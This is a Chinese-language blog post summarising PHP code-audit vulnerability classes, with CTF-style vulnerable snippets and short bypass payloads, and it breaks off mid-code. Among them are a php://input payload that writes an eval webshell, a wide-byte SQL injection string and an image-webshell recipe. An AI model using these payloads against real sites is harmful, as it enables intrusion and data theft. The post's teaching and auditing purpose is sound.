PHP程式碼審計歸納-Ali0th

木禾ali0th發表於2019-04-24

Author : 木禾/Ali0th

Date : 2018-3-21

Email : martin2877@foxmail.com

說明 :個人歸納的php漏洞型別,有修改請私信或留言。

大家好,我的網名是木禾,技術領域的 ID 是 Ali0th,這一篇是我在18年編寫的PHP程式碼審計歸納,之前發在了 t00ls 和 gtihub 上,現在經營著這個部落格,也把以前寫的東西慢慢搬上來。如果能幫到你,請點個贊吧。

github : 【地址】

在這裡插入圖片描述
@[toc]

變數覆蓋

extract()

該函式使用陣列鍵名作為變數名,使用陣列鍵值作為變數值。針對陣列中的每個元素,將在當前符號表中建立對應的一個變數。條件:若有EXTR_SKIP則不行。

<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
# 結果:$a = Cat; $b = Dog; $c = Horse
複製程式碼

這裡原來是$a是original,後面通過extract把$a覆蓋變成了Cat了,所以這裡把原來的變數給覆蓋了。

#?shiyan=&flag=1
<?php
$flag='xxx';
extract($_GET);
 if(isset($shiyan))
 {
    $content=trim(file_get_contents($flag)); # content is 0 , flag can be anything,cause file_get_contents cannot open file, return 0
    if($shiyan==$content)
    {
        echo'ctf{xxx}';
    }
   else
   {
    echo'Oh.no';
   }
   }
複製程式碼

parse_str()

解析字串並註冊成變數

$b=1;
Parse_str('b=2');
Print_r($b); # 結果: $b=2
複製程式碼

import_request_variables()

將 GET/POST/Cookie 變數匯入到全域性作用域中,全域性變數註冊。
在5.4之後被取消,只可在4-4.1.05-5.4.0可用。
//匯入POST提交的變數值,字首為post_
import_request_variable("p""post_");
//匯入GET和POST提交的變數值,字首為gp_,GET優先於POST
import_request_variable("gp""gp_");
//匯入Cookie和GET的變數值,Cookie變數值優先於GET
import_request_variable("cg""cg_");
複製程式碼

$$變數覆蓋

## 提交引數chs,則可覆蓋變數"$chs"的值。$key為chs時,$$key就變成$chs
<?
$chs = '';
if($_POST && $charset != 'utf-8'){
    $chs = new Chinese('UTF-8', $charset);
    foreach($_POST as $key => $value){
        $$key = $chs->Convert($value);
    }
    unset($chs);
}
複製程式碼

全域性變數覆蓋漏洞

原理: register_globals 是php中的一個控制選項,可以設定成off或者on, 預設為off, 決定是否將 EGPCS(Environment,GET,POST,Cookie,Server)變數註冊為全域性變數。 如果register_globals開啟的話, 客戶端提交的資料中含有GLOBALS變數名, 就會覆蓋伺服器上的$GLOBALS變數.

$_REQUEST 這個超全域性變數的值受 php.inirequest_order的影響,在php5.3.x系列中,request_order預設值為GP,也就是說預設配置下$_REQUEST只包含$_GET$_POST而不包括$_COOKIE。通過COOKIE就可以提交GLOBALS變數。

<?php
// register_globals =ON
//foo.php?GLOBALS[foobar]=HELLO
echo $foobar;

//為了安全取消全域性變數
//var.php?GLOBALS[a]=aaaa&b=111
if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k});
print $a;
print $_GET[b];
複製程式碼

經過測試,開了register_globals會卡死

繞過過濾的空白字元

原理:baike.baidu.com/item/控制字元

控制碼
"\0" "%00" (ASCII  0 (0x00)),空位元組符。

製表符
"\t" (ASCII  9 (0x09)),水平製表符。

空白字元:
"\n" (ASCII 10 (0x0A)),換行符。
"\v" "\x0b" (ASCII  11 (0x0B)),垂直製表符。
"\f" "%0c" 換頁符
"\r" "%0d"(ASCII  13 (0x0D)),回車符。

空格:
" " "%20" (ASCII  32 (0x20)),普通空格符。
複製程式碼

而trim過濾的空白字元有

string trim ( string $str [, string $character_mask = " \t\n\r\0\x0B" ] )
複製程式碼

其中缺少了\f

2 函式對空白字元的特性

is_numeric函式在開始判斷前,會先跳過所有空白字元。這是一個特性。

也就是說,is_numeirc(" \r\n \t 1.2")是會返回true的。同理,intval(" \r\n \t 12"),也會正常返回12。

案例

github.com/bowu678/php…

#?number=%00%0c191
# 1 %00繞過is_numeric
# 2 \f(也就是%0c)在數字前面,trim,intval和is_numeric都會忽略這個字元
複製程式碼

intval整數溢位

php整數上限溢位繞過intval

intval 函式最大的值取決於作業系統。 32 位系統最大帶符號的 integer 範圍是 -2147483648 到 2147483647。舉例,在這樣的系統上, intval('1000000000000') 會返回 2147483647。 64 位系統上,最大帶符號的 integer 值是 9223372036854775807。

intval 四捨五入

# ?a=1024.1
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]); ## 這裡過濾只有一個intval
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
    echo "<p>no! try again</p>";
    }
  else{
    echo($query[content]);
  }
}
複製程式碼

浮點數精度忽略

if ($req["number"] != intval($req["number"]))
複製程式碼

在小數小於某個值(10^-16)以後,再比較的時候就分不清大小了。 輸入number = 1.00000000000000010, 右邊變成1.0, 而左與右比較會相等。

多重加密

題目中有:

$login = unserialize(gzuncompress(base64_decode($requset['token'])));
if($login['user'] === 'ichunqiu'){echo $flag;}
複製程式碼

本地則寫:

<?php
$arr = array(['user'] === 'ichunqiu');
$token = base64_encode(gzcompress(serialize($arr)));
print_r($token);
// 得到eJxLtDK0qs60MrBOAuJaAB5uBBQ=
?>
複製程式碼

截斷

iconv 異常字元截斷

## 因iconv遇到異常字元就不轉後面的內容了,所以可以截斷。
## 這裡chr(128)到chr(255)都可以截斷。
$a='1'.char(130).'2';
echo iconv("UTF-8","gbk",$a); //將字串的編碼從UTF-8轉到gbk
echo iconv('GB2312', 'UTF-8', $str); //將字串的編碼從GB2312轉到UTF-8
複製程式碼

eregi、ereg可用%00截斷

功能:正則匹配過濾 條件:要求php<5.3.4

## http://127.0.0.1/Php_Bug/05.php?password=1e9%00*-*
#GET方式提交password,然後用ereg()正則限制了password的形式,只能是一個或者多個數字、大小寫字母,繼續strlen()限制了長度小於8並且大小必須大於9999999,繼續strpos()對password進行匹配,必須含有-,最終才輸出flag
#因為ereg函式存在NULL截斷漏洞,導致了正則過濾被繞過,所以可以使用%00截斷正則匹配。
#對於另一個難題可以使用科學計數法表示,計算器或電腦表達10的的冪是一般是e,也就是1.99714e13=19971400000000,所以構造 1e8 即 100000000 > 9999999,在加上-。於是乎構造password=1e8%00*-*,成功得到答案
<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$",$_GET['password']) === FALSE)
       {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
複製程式碼

move_uploaded_file 用\0截斷

5.4.x<= 5.4.39, 5.5.x<= 5.5.23, 5.6.x <= 5.6.7

在高版本(受影響版本中),PHP把長度比較的安全檢查邏輯給去掉了,導致了漏洞的發生

cve:web.nvd.nist.gov/view/vuln/d…

move_uploaded_file($_FILES['x']['tmp_name'],"/tmp/test.php\x00.jpg") 上傳抓包修改name為a.php\0jpg(\0是nul字元),可以看到$_FILES['xx']['name']儲存的字串是a.php,不會包含\0截斷之後的字元,因此並不影響程式碼的驗證邏輯。 但是如果通過$_REQUEST方式獲取的,則可能出現副檔名期望值不一致的情況,造成“任意檔案上傳”。

inclue用?截斷

<?php
$name=$_GET['name'];
$filename=$name.'.php';
include $filename;
?>
複製程式碼

當輸入的檔名包含URL時,問號截斷則會發生,並且這個利用方式不受PHP版本限制,原因是Web服務其會將問號看成一個請求引數。

測試POC:http://127.0.0.1/test/t1.php?name=http://127.0.0.1/test/secret.txt? 則會開啟secret.txt中的檔案內容。本測試用例在PHP5.5.38版本上測試通過。

系統長度截斷

這種方式在PHP5.3以後的版本中都已經得到了修復。 win260個字元,linux下4*1024=4096位元組

mysql長度截斷

mysql內的預設字元長度為255,超過的就沒了。 由於mysql的sql_mode設定為default的時候,即沒有開啟STRICT_ALL_TABLES選項時,MySQL對於插入超長的值只會提示warning

mysql中utf-8截斷

insert into dvwa.test values (14,concat("admin",0xc1,"abc"))

寫入為admin

弱型別比較

原理

比較表:php.net/manual/zh/t…

以下等式會成立

'' == 0 == false
'123' == 123
'abc' == 0
'123a' == 123
'0x01' == 1
'0e123456789' == '0e987654321'
[false] == [0] == [NULL] == ['']
NULL == false == 0
true == 1
複製程式碼

==、>、<的弱型別比較

這裡用到了PHP弱型別的一個特性,當一個整形和一個其他型別行比較的時候,會先把其他型別轉換成整型再比。

##方法1
##$a["a1"]="1e8%00";
##這裡用%00繞過is_numeric,然後1e8可以比1336大,因此最後能$v1=1
##方法2
##$a["a1"]=["a"];
##使用陣列,可以,因為陣列恆大於數字或字串
##方法3
##$a["a1"]=1337a;
##1337a過is_numeric,又由>轉成1337與1336比較
<?php
is_numeric(@$a["a1"])?die("nope"):NULL;
if(@$a["a1"]){
        var_dump($a);
        ($a["a1"]>1336)?$v1=1:NULL;
}
var_dump($v1);
複製程式碼

switch 弱型別

// 第一種:弱型別,1e==1
// $x1=1e
// 第二種:利用陣列名字bypass
// $x1=1[]
// 傳入後為string(3) "1[]",但在switch那裡為1
if (isset($_GET['x1']))
{
        $x1 = $_GET['x1'];
        $x1=="1"?die("ha?"):NULL;
        switch ($x1)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}
複製程式碼

md5比較(0e相等、陣列為Null)

md5('240610708') //0e462097431906509019562988736854
md5('QNKCDZO') //0e830400451993494058024219903391
0e 純數字這種格式的字串在判斷相等的時候會被認為是科學計數法的數字,先做字串到數字的轉換。
md5('240610708')==md5('QNKCDZO'); //True
md5('240610708')===md5('QNKCDZO'); //False

這樣的對應數值還有:
var_dump(md5('240610708') == md5('QNKCDZO'));
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));
var_dump('0010e2' == '1e3');
var_dump('0x1234Ab' == '1193131');
var_dump('0xABCdef' == ' 0xABCdef');
複製程式碼

技巧:找出在某一位置開始是0e的,幷包含“XXX”的字串

#方法1
#s1=QNKCDZO&s2=240610708
#方法2
#?s1[]=1&s2[]=2
#利用md5中md5([1,2,3]) == md5([4,5,6]) ==NULL,md5一個list結果為Null
#則可以使:[1] !== [2] && md5([1]) ===md5([2])
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if ($_GET['s1'] != $_GET['s2']
&& md5($_GET['s1']) == md5($_GET['s2'])) {
echo "success, flag:" . FLAG;
}
複製程式碼
##這裡沒有弱型別,但可以讓$r查出來是Null,然後提交md5裡放陣列得Null,於是Null===Null
$name = addslashes($_POST['name']);
$r = $db->get_row("SELECT `pass` FROM `user` WHERE `name`='{$name}'");
if ($r['pass'] === md5($_POST['pass'])) {
echo "success";
}
複製程式碼

json傳資料{"key":0}

PHP將POST的資料全部儲存為字串形式,也就沒有辦法注入數字型別的資料了而JSON則不一樣,JSON本身是一個完整的字串,經過解析之後可能有字串,數字,布林等多種型別。

application/x-www-form-urlencoded
multipart/form-data
application/json
application/xml
複製程式碼

第一個application/x-www-form-urlencoded,是一般表單形式提交的content-type第二個,是包含檔案的表單。第三,四個,分別是json和xml,一般是js當中上傳的.

{"key":"0"}

這是一個字串0,我們需要讓他為數字型別,用burp攔截,把兩個雙引號去掉,變成這樣:

{"key":0}

strcmp漏洞1:返回0

適用與5.3之前版本的php

int strcmp ( string $str1 , string $str2 ) // 引數 str1第一個字串。str2第二個字串。如果 str1 小於 str2 返回 < 0; 如果 str1 大於 str2 返回 > 0;如果兩者相等,返回 0。 當這個函式接受到了不符合的型別,這個函式將發生錯誤,但是在5.3之前的php中,顯示了報錯的警告資訊後,將return 0,所以可以故意讓其報錯,則返回0,則相等了。

##flag[]=admin
define('FLAG', 'pwnhub{THIS_IS_FLAG}');
if (strcmp($_GET['flag'], FLAG) == 0) {
echo "success, flag:" . FLAG;
}
複製程式碼

strcmp漏洞2:返回Null

修復了上面1的返回0的漏洞,即大於5.3版本後,變成返回NULL。 array和string進行strcmp比較的時候會返回一個null,因為strcmp只會處理字串引數,如果給個陣列的話呢,就會返回NULL。

strcmp($c[1],$d)

strcmp漏洞3: 判斷使用的是 ==

而判斷使用的是==,當NULL==0是 bool(true)

in_array,array_search 弱型別比較

鬆散比較下,任何string都等於true:

// in_array('a', [true, 'b', 'c'])       // 返回bool(true),相當於陣列裡面有字元'a'
// array_search('a', [true, 'b', 'c'])   // 返回int(0),相當於找到了字元'a'
// array_search 會使用'ctf'和array中的每個值作比較,這裡的比較也是弱比較,所以intval('ctf')==0.
if(is_array(@$a["a2"])){
        if(count($a["a2"])!==5 OR !is_array($a["a2"][0])) die("nope");
        $pos = array_search("ctf", $a["a2"]);
        $pos===false?die("nope"):NULL;
        foreach($a["a2"] as $key=>$val){
            $val==="ctf"?die("nope"):NULL;
        }
        $v2=1;
}
複製程式碼

sha1() md5() 報錯相等繞過(False === False)

sha1()函式預設的傳入引數型別是字串型,給它傳入陣列會出現錯誤,使sha1()函式返回錯誤,也就是返回false

md5()函式如果成功則返回已計算的 MD5 雜湊,如果失敗則返回 FALSE。可通過傳入陣列,返回錯誤。

##?name[]=1&password[]=2
## === 兩邊都是false則成立
if ($_GET['name'] == $_GET['password'])
    echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
    die('Flag: '.$flag);
複製程式碼

strpos陣列NULL(Null !== False)

strpos()輸入陣列出錯返回null

#既要是純數字,又要有’#biubiubiu’,strpos()找的是字串,那麼傳一個陣列給它,strpos()出錯返回null,null!==false,所以符合要求. 所以輸入nctf[]= 那為什麼ereg()也能符合呢?因為ereg()在出錯時返回的也是null,null!==false,所以符合要求.
<?php
$flag = "flag";
    if (isset ($_GET['nctf'])) {
        if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截斷
            echo '必須輸入數字才行';
        else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
            die('Flag: '.$flag);
        else
            echo '騷年,繼續努力吧啊~';
    }
複製程式碼

十六進位制與十進位制比較

== 兩邊的十六進位制與十進位制比較,是可以相等的。

#?password=0xdeadc0de
#echo  dechex ( 3735929054 ); // 將3735929054轉為16進位制結果為:deadc0de
<?php
error_reporting(0);
function noother_says_correct($temp)
{
    $flag = 'flag{test}';
    $one = ord('1');  //ord — 返回字元的 ASCII 碼值
    $nine = ord('9'); //ord — 返回字元的 ASCII 碼值
    $number = '3735929054';
    // Check all the input characters!
    for ($i = 0; $i < strlen($number); $i++)
    {
        // Disallow all the digits!
        $digit = ord($temp{$i});
        if ( ($digit >= $one) && ($digit <= $nine) ) ## 1到9不允許,但0允許
        {
            // Aha, digit not allowed!
            return "flase";
        }
    }
    if($number == $temp)
        return $flag;
}
$temp = $_GET['password'];
echo noother_says_correct($temp);
複製程式碼

md5注入帶入’or’

原理:

md5(string,raw)
raw    可選。規定十六進位制或二進位制輸出格式:
    TRUE - 原始 16 字元二進位制格式
    FALSE - 預設。32 字元十六進位制數
複製程式碼

當md5函式的第二個引數為True時,編碼將以16進位制返回,再轉換為字串。而字串’ffifdyop’的md5加密結果為'or'<trash> 其中 trash為垃圾值,or一個非0值為真,也就繞過了檢測。

## 執行順序:字串:ffifdyop -> md5()加密成276f722736c95d99e921722cf9ed621c->md5(,true)將16進位制轉成字串`'or'<trash>`->sql執行`'or'<trash>`造成注入
$sql = "SELECT * FROM admin WHERE username = admin pass = '".md5($password,true)."'";
複製程式碼

switch沒有break

#這裡case 0 和 1 沒有break,使得程式繼續往下執行。
<?php
error_reporting(0);
if (isset($_GET['which']))
{
    $which = $_GET['which'];
    switch ($which)
    {
    case 0:
    case 1:
    case 2:
        require_once $which.'.php';
         echo $flag;
        break;
    default:
        echo GWF_HTML::error('PHP-0817', 'Hacker NoNoNo!', false);
        break;
    }
}
複製程式碼

反序列化

<!-- index.php -->
<?php
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
<!-- showimg.php -->
<?php
    $f = $_GET['img'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
        //stripos — 查詢字串首次出現的位置(不區分大小寫)
        && stripos($f,'pctf')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>
複製程式碼
#?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}
<!-- answer.php -->
<?php

require_once('shield.php');
$x = class Shield();
$g = serialize($x);
echo $g;

?>

<!-- shield.php -->
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = 'pctf.php') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>
複製程式碼

檔案包含

原理:

include()/include_once(),require()/require_once(),中的變數可控

利用方法:

  1. 上傳圖片(含有php程式碼的圖片)
  2. 讀檔案,讀php檔案
  3. 包含日誌檔案getshell
  4. 包含/proc/self/envion檔案getshell
  5. 如果有phpinfo可以包含臨時檔案
  6. 包含data://或php://input等偽協議(需要allow_url_include=On)

封裝協議:

file:// — 訪問本地檔案系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams)
zlib:// — 壓縮流
data:// — 資料(RFC 2397)
glob:// — 查詢匹配的檔案路徑模式
phar:// — PHP 歸檔
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音訊流
expect:// — 處理互動式的流
複製程式碼
## 訪問共享目錄
include ('\evilservershell.php');
複製程式碼
## post提交資料
<?php
  include($_GET['url']);
?>
## http://127.0.0.1/111332.php?url=php://input
## POST內容為:
<?php fwrite(fopen("xxx.php","w"),'<?php eval($_POST["cc"]);?>');?>
複製程式碼

提交引數無過濾

原理:過濾了GPC,但沒有過濾其它部分。

上傳檔案相關變數如$_FIle
$_GET$_POST$_Cookie$_SERVER$_ENV$_SESSION$_REQUEST
HTTP_CLIENT_IP 和HTTP_XFORWORDFOR 中的ip不受gpc影響
$_HTTP_COOKIE_VARS
$_HTTP_ENV_VARS
$_HTTP_GET_VARS
$_HTTP_POST_FILES
$_HTTP_POST_VARS
$_HTTP_SERVER_VARS
複製程式碼

案例:

foreach($_COOKIE AS $_key=>$_value){
    unset($$_key);
}
foreach($_POST AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
    !ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}
複製程式碼

通過表單來傳值。

<form method="post" action="http://localhost/qibo/member/comment.php?job=ifcom" enctype="multipart/form-data">
<input type="file" name="cidDB">
<input type="submit">
</form>
複製程式碼

這裡的gid為查詢引數

$_SERVER                 //中使用者能夠控制的變數,php5.0後不受GPC影響
QUERY_STRING             //使用者GET方法提交時的查詢字串
HTTP_REFERER             //使用者請求的來源變數,在一些程式取得使用者訪問記錄時用得比較多
HTTP_USER_AGENT          //使用者的瀏覽器型別,也用於使用者的訪問記錄的取得
HTTP_HOST                //提交的主機頭等內容
HTTP_X_FORWARDED_FOR     //使用者的代理主機的資訊
複製程式碼

偽造IP

原理:以 HTTP_ 開頭的 header, 均屬於客戶端傳送的內容。那麼,如果客戶端偽造user-agent/referer/client-ip/x-forward-for,就可以達到偽造IP的目的,php5之後不受GPC影響。

關鍵字:
HTTP_
getenv
$_SERVER
服務端:
echo getenv('HTTP_CLIENT_IP');
echo $_SERVER['REMOTE_ADDR']; //訪問端(有可能是使用者,有可能是代理的)IP
echo $_SERVER['HTTP_CLIENT_IP']; //代理端的(有可能存在,可偽造)
echo $_SERVER['HTTP_X_FORWARDED_FOR']; //使用者是在哪個IP使用的代理(有可能存在,也可以偽造)
客戶端:
注意傳送的格式:
CLIENT-IP:10.10.10.1
X-FORWARDED-FOR:10.10.10.10
複製程式碼
#這個玩意恆成立的。不管有沒有clientip
strcasecmp(getenv('HTTP_CLIENT_IP'), 'unknown')
複製程式碼

繞過正則匹配

缺少^和$限定

陣列繞過正則

\A[ _a-zA-Z0-9]+\z

str_replace路徑穿越

原理:str_replace的過濾方式為其search引數陣列從左到右一個一個過濾。

## 這裡可以被繞過,因為是對.和/或\的組合的過濾,所以單獨的..或\/沒有檢測到。
## 方法1
## 五個點加///
## 方法2
## ...././/
$dir = str_replace(array('..\\', '../', './', '.\\'), '', trim($dir),$countb);
echo $dir;
echo '</br>替換數量';
echo $countb;
複製程式碼
## 這裡有對單獨的.進行過濾,所以無法繞過。
$file = str_replace(array('../', '\\', '..'), array('', '/', ''), $_GET['file'],$counta);
echo $file;
echo '</br>替換數量';
echo $counta;
複製程式碼

short_open_tag=on 短標籤

原理:當 php.ini 的short_open_tag=on時,PHP支援短標籤,預設情況下為off。格式為:<?xxxx;?> --> <?xxx;

Go0s@ubuntu:~$ cat test.php
<?="helloworld";
Go0s@ubuntu:~$ curl 127.0.0.1/test.php
helloworld
複製程式碼

file_put_contents第二個引數傳入陣列

原理:

file_put_contents(file,data,mode,context)
file    必需。規定要寫入資料的檔案。如果檔案不存在,則建立一個新檔案。
data    可選。規定要寫入檔案的資料。可以是字串、陣列或資料流。如果是陣列的話,將被連線成字串再進行寫入。
複製程式碼
## ?filename=xiaowei.php&data[]=<?php&data[]=%0aphpinfo();
## 這個要從burp去傳,因為後面的【?】會被理解為引數而截斷
<?php
$a = $_GET['data'];
$file = $_GET['filename'];
$current = file_get_contents($file);
file_put_contents($file, $a);
複製程式碼

單引號和雙引號

原理:單引號或雙引號都可以用來定義字串。但只有雙引號會呼叫解析器。

# 1
$s = "I am a 'single quote string' inside a double quote string";
$s = 'I am a "double quote string" inside a single quote string';
$s = "I am a 'single quote string' inside a double quote string";
$s = 'I am a "double quote string" inside a single quote string';
# 2
$abc='I love u';
echo $abc //結果是:I love u
echo '$abc' //結果是:$abc
echo "$abc" //結果是:I love u
# 3
$a="${@phpinfo()}"; //可以解析出來
<?php $a="${@phpinfo()}";?> //@可以為空格,tab,/**/ ,回車,+,-,!,~,\等
複製程式碼

查詢語句缺少單引號

"Select * from table where id=$id" # 有注入
"Select * from table where id=".$id." limit 1" # 有注入
"Select * from table where id='$id'" # 無注入
"Select * from table where id='".$id."' limit 1" # 無注入
複製程式碼

寬字元注入

原理:

常見轉碼函式: iconv() mb_convert_encoding() addslashes

防禦:

用mysql_real_escape_string

## ?username=tom&password=1%df' or 1=1 union select 1,2,group_concat(0x0a,mname,0x0a,pwd) from manager--+
## %df把\給吃掉,所以這裡可以繞過addslashes的轉義
$pwd = addslashes($pwd);
mysql_query("SET NAMES gbk");
$query = "select * from user where uname='".$uname."' and pwd='".$pwd."'";
複製程式碼

跳轉無退出

原理:沒有使用return()或die()或exit()退出流程的話,下面的程式碼還是會繼續執行。可以使用burp測試,不會跳轉過去。

## 1
$this->myclass->notice('alert("系統已安裝過");window.location.href="'.site_url().'";');
## 2
header("location: ../index.php");
複製程式碼

二次編碼注入

由於瀏覽器的一次urldecode,再由伺服器端函式的一次decode,造成二次編碼,而繞過過濾。如%2527,兩次urldecode會最後變成'

base64_decode -- 對使用 MIME base64 編碼的資料進行解碼
base64_encode -- 使用 MIME base64 對資料進行編碼
rawurldecode -- 對已編碼的 URL 字串進行解碼
rawurlencode -- 按照 RFC 1738 對 URL 進行編碼
urldecode -- 解碼已編碼的 URL 字串
urlencode -- 編碼 URL 字串
unserialize/serialize
字符集函式(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
複製程式碼

前端可控變數填充導致XSS

當html裡的連結是變數時,易出現XSS。

={#、echo、print、printf、vprintf、<%=$test%>
img scr={#$list.link_logo#}
複製程式碼

命令執行函式

system()
exec()
passthru()
pcntl_exec()
shell_exec()
echo `whoami`; //反引號呼叫shell_exec()函式
popen()和proc_open() //不會返回結果
array_map($arr,$array); //為陣列的每個元素應用回撥函式arr,如$arr = "phpinfo"
popen('whoami >>D: /2.txt', 'r'); //這樣就會在D下生成一個2.txt。
preg_replace()
ob_start()
array_map()
複製程式碼

防範方法:

  1. 使用自定義函式或函式庫來替代外部命令的功能
  2. 使用escapeshellarg 函式來處理命令引數
  3. 使用safe_mode_exec_dir 指定可執行檔案的路徑

create_function

create_function構造了一個return後面的語句為一個函式。

#?sort_by="]);}phpinfo();/*
#sort_function就變成了 return 1 * strnatcasecmp($a[""]);}phpinfo();/*"], $b[""]);}phpinfo();/*"]);
#前面閉合,然後把後面的全部註釋掉了。
<?php
$sort_by=$_GET['sort_by'];
$sorter='strnatcasecmp';
$databases=array('test','test');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
複製程式碼

mb_ereg_replace()的/e模式

原理

mb_ereg_replace()是支援多位元組的正規表示式替換函式,函式原型如下:
string mb_ereg_replace  ( string $pattern , string $replacement  , string $string  [, string $option= "msr"  ] )
當指定mb_ereg(i)_replace()的option引數為e時,replacement引數[在適當的逆向引用替換完後]將作為php程式碼被執行.
複製程式碼

preg_replace /e模式執行命令

# ?str=[phpinfo()]
# 這裡使用/e模式,所以第二個引數\\1這裡可以執行。
# 通過$_GET傳入值,第一個引數正則,把[]去掉,放到了第二個引數裡\\1,執行。
preg_replace("/\[(.*)]/e",'\\1',$_GET['str']);
複製程式碼

動態函式執行

call_user_func
call_user_func_array
複製程式碼
# ?a=assert
call_user_func($_GET['a'],$b);
複製程式碼

程式碼執行

assert()
call_user_func()
call_user_func_array()
create_function()
複製程式碼

eval()和assert()程式碼執行

當assert()的引數為字串時 可執行PHP程式碼。 區別:assert可以不加;,eval不可以不加。

eval(" phpinfo(); ");【√】 eval(" phpinfo() ");【X】
assert(" phpinfo(); ");【√】 assert(" phpinfo() ");【√】
複製程式碼

優先順序繞過

原理:如果運算子優先順序相同,那運算子的結合方向決定了該如何運算 php.net/manual/zh/l…

優先順序:&&/|| 大於 = 大於 AND/OR

# ($test = true) and false; $test2 = (true && false);
$test = true and false; var_dump($test);//bool(true)
$test2 = true && false; var_dump($test2); //bool(false)
# 當有兩個is_numeric判斷並用and連線時,and後面的is_numeric可以繞過
$test3 = is_numeric("123") and is_numeric("anything false"); var_dump($test3); //bool(true)
複製程式碼

getimagesize圖片判斷繞過

原理:

當用getimagesize判斷檔案是否為圖片,可以判斷的檔案為gif/png/jpg,如果指定的檔案如果不是有效的影象,會返回 false。 只要我們在檔案頭部加入GIF89a後可以上傳任意字尾檔案。

生成小馬圖的方法:

cat image.png webshell.php > image.php
複製程式碼
## 找上傳點
## 檔案頭部加入GIF89a
# 1
$file = $request->getFiles();
# 2
if(getimagesize($files['users']['photo']['tmp_name']))
        {
          move_uploaded_file($files['users']['photo']['tmp_name'], $filename);
# 3
$filesize = @getimagesize('/path/to/image.png');
if ($filesize) {
    do_upload();
}
複製程式碼

<變*,windows findfirstfile利用

原理:Windows下,在搜尋檔案的時候使用了FindFirstFile這一個winapi函式,該函式到一個資料夾(包含子資料夾)去搜尋指定檔案。 執行過程中,字元">"被替換成"?",字元"<"被替換成"*",而符號"(雙引號)被替換成一個"."字元。所以:

  1. ">"">>"可代替一個字元,"<"可以代替字尾名多個字元(即.後的字元),"<<"可以代替包括檔名和字尾名多個字元。所以一般使用<<
  2. " 可以代替.
  3. 檔名第一個字元是"."的話,讀取時可以忽略之
NO Status Function Type of operation
1. OK include() Includefile
2. OK include_once() Includefile
3. OK require() Includefile
4. OK require_once() Include file
5. OK fopen() Openfile
6. OK ZipArchive::open() Archive file
7. OK copy() Copyfile
8. OK file_get_contents() Readfile
9. OK parse_ini_file() Readfile
10. OK readfile() Readfile
11. OK file_put_contents() Write file
12. OK mkdir() New directory creation
13. OK tempnam() New file creation
14. OK touch() New file creation
15. OK move_uploaded_file() Move operation
16. OK opendiit) Directory operation
17. OK readdir() Directory operation
18. OK rewinddir() Directory operation
19. OK closedir() Directory operation
20. FAIL rename() Move operation
21. FAIL unlink() Delete file
22. FAIL rmdir()) Directory operation
## ?file=1<
## ?file=1>
## ?file=1"txt
檔名為1.txt

## ?file=1234.tx>
## ?file=1234.<
## ?file=1<<
## ?file=1<<">
## ?file=123>">
## ?file=>>>4">
## ?file=<<4">
檔名為1234.txt

include('shell<');
include('shell<<');
include('shell.p>p');
include('shell"php');
fopen('.htacess');  //==>fopen("htacess');
file_get_contents('C:boot.ini'); //==>  file_get_contents ('C:/boot.ini');
file_get_contents('C:/tmp/con.jpg'); //此舉將會無休無止地從CON裝置讀取0位元組,直到遇到eof
file_put_contents('C:/tmp/con.jpg',chr(0×07));  //此舉將會不斷地使伺服器發出類似嗶嗶的聲音
複製程式碼

Linux 萬用字元利用

原理:linux下,*代表任意字元(0到多個),?代表一個字元,所以如果是有執行linux系統命令,那就可以用這些萬用字元來繞過過濾,並執行我們想要的命令

<?php
## 本地flag路徑為 /data/sublime/php/audit/3/flag.txt
## ?filename='/????/???????/???/?????/?/*'
function waf($file){
